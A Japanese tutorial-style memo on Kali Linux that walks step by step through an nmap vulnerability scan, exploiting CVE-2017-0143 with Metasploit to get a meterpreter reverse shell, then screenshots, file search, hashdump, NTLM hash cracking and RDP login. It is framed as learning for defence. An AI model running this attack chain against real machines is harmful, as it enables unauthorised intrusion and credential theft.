Kali 機能寄り基礎コマンド_ver2
kaliの機能及びToolに関する備忘録であり
悪用等を推奨する為の記事ではありません。
より堅牢なセキュリティを保つための攻撃手法を知るための情報記事です。
特にバックエンド開発を嗜む身としては
脆弱性は身近な存在であり、CVEからの便利ツールな存在等
恐ろしい限りでした。
ポートスキャンのオプション
オプション | 内容 |
---|---|
--script vuln | nmapに付属するスクリプトを利用して脆弱性の検出 ブルートフォース攻撃を同時に実行可能 |
nmap -sV -Pn -oN nmap.txt -v XXX.XXX.XXX.XXX --script vuln
カレントディレクトリにnmap.txtを作成している為
catコマンドを利用してスキャン結果等を確認する。
cat nmap.txt
※単純に最初のnmapコマンドの結果が画面にも表示されている
ここでは、脆弱性の検出及びCVE番号を取得して
ピンポイントでその脆弱性をエクスプロイトする準備となります。
Metasploit Framework
kaliに標準的に用意されているツールの1つである
数多くのエクスプロイトコード(攻撃コード)を備えている
# 起動コマンド
msfconsole
msf6 > # 入力待ち状態
前段で取得した脆弱性情報から、利用できそうなモジュールの検索を行う
msf6 >search CVE-2017-0143
# 利用できそうなモジュールが表示される
Matching Modules
# Name
0 ~~~~
1 ~~~~
2 ~~~~
3 ~~~~
# 0番のツールを指定
msf6 > use 0
モジュール指定完了後は、必要なオプションを確認する
msf6 exploit(~~~~~~~~~~~~) > show options
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.29.100.254 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
オプションをセットする
set RHOSTS XXX.XXX.XXX.XXX # エクスプロイト先
set LHOST XXX.XXX.XXX.XXX # ローカルPC
準備が整ったらエクスプロイトする
exploit # runでも良い
結構失敗するので、繰り替えし実行する必要がある
エクスプロイトッ!!!!
結果が表示される
-----FAIL---- # 失敗
# or
-----WIN----- # 成功
成功するとMeterpreterシェルが起動し
いろいろな機能を呼び出すことができます
# こんな表示になる
meterpreter >
コマンドで状態を確認してみましょう
# ユーザー権限の取得
meterpreter > getuid
# システム情報取得
meterpreter > sysinfo
接続先がWindowsであればよくあるPathに移動してみます。
# フォルダー移動
meterpreter > cd C:\\Users\\UserName\\Desktop\\
# ファイルのアップロード
# msfconsole 実行時のディレクトリファイルなら
# ファイル名を指定するだけでアップロードが可能
meterpreter > upload nmap.txt
# スクリーンショットをとってみる
# msfconsole実行時のディレクトリに保存されます。
meterpreter > screenshot
スクリーンショットは現在のWindowsの画面が表示されます。
機密情報を扱っているタイミング等に、裏側から情報を取得できてしまうという
恐ろしい状態です。
侵入したPCからコマンドでどんなファイルがあるのか
検索等も実施でき、よくありそうな大事なファイルを見られてしまう可能性があります
meterpreter > search -f FileName.txt # 例としてtxtファイルの検索
hashダンプ取得からの・・・
ユーザー名とパスワードのハッシュを抽出する
meterpreter > hashdump
hashdumpについて
ターゲットのマシンに存在するすべてのユーザーアカウントの情報をダンプします。
表示された情報は以下のような情報です。
ユーザー名:ユーザーID:LMハッシュ:NTLMハッシュ
- ユーザー名
- よくあるAdministrator,Guest等々
- ユーザーID
- あまり利用イメージは無いですね・・・・・
- LMハッシュ
- aad3b435b51404eeaad3b435b51404eeの場合はからの状態を表す
- 古いWindowsネットワークで利用されていたパスワードのハッシュ化方法
- 現在はデフォルトで使用されていません
- NTLMハッシュ
- 31d6cfe0d16ae931b73c59d7e0c089c0の場合は空の状態であることを表す
- 例としてffb43f0de35be4d9917ac0cc8ad57f8dだったりして上記と異なると、何らかのパスワードが設定されていることがわかります
- 最新のWindowsはNTLMハッシュでハッシュ化されて暗号化されて保存されています
- 但し、管理者権限を持っていると暗号化を解除してハッシュを取り出せてしまう
NTLMハッシュの解析
サイトがあります。
https://crackstation.net/
一瞬でハッシュ値が文字列のパスワードに!
パスワードがわかってしまうとあとはもう
ポートスキャン等により、何処にアクセスできそうか大体ばれてしまっている為時間の問題です。
リモートデスクトップ
例えばリモートデスクトップのPort:3389等が確認できた場合には
以下コマンドにてリモートできてしまいます
# リモートデスクトップインストール
sudo apt install freerdp3-x11
# リモートデスクトップ実行
xfreerdp3 /u:UserName /v:XX.XXX.XXX.XXX /p:PassWord /cert:ignore /sec:rdp
オプション | 意味 |
---|---|
/u:UserName | ログインするユーザー名を指定 |
/v:XX.XXX.XXX.XXX | 接続先IPアドレス |
/p:PassWord | ユーザーのパスワード |
/cert:ignore | 証明書検証を無視する |
/sec:rdp | リモートデスクトップ接続のセキュリティプロトコルを強制する |
まとめ
例えばそこら辺にあったフリーWifiに少し古いPC等を接続してしまうと
悪意ある人の管理下のWifiであれば、利用IP等がわかってしまうため
ポートスキャンからの侵入なんてあっという間でしょう。
ポートスキャンでは、想像していたものよりも多くの情報が流出するみたいです。
無駄なポートは閉じましょう。
少しの不注意で。
黒より黒く闇より暗き漆黒に我が深紅の混淆を望みたもう。 覚醒のとき来たれり。 無謬の境界に落ちし理。 無行の歪みとなりて現出せよ! 踊れ踊れ踊れ、 我が力の奔流に望むは崩壊なり。 並ぶ者なき崩壊なり。 万象等しく灰塵に帰し、 深淵より来たれ! これが人類最大の威力の攻撃手段、 これこそが究極の攻撃魔法、 エクスプロージョン!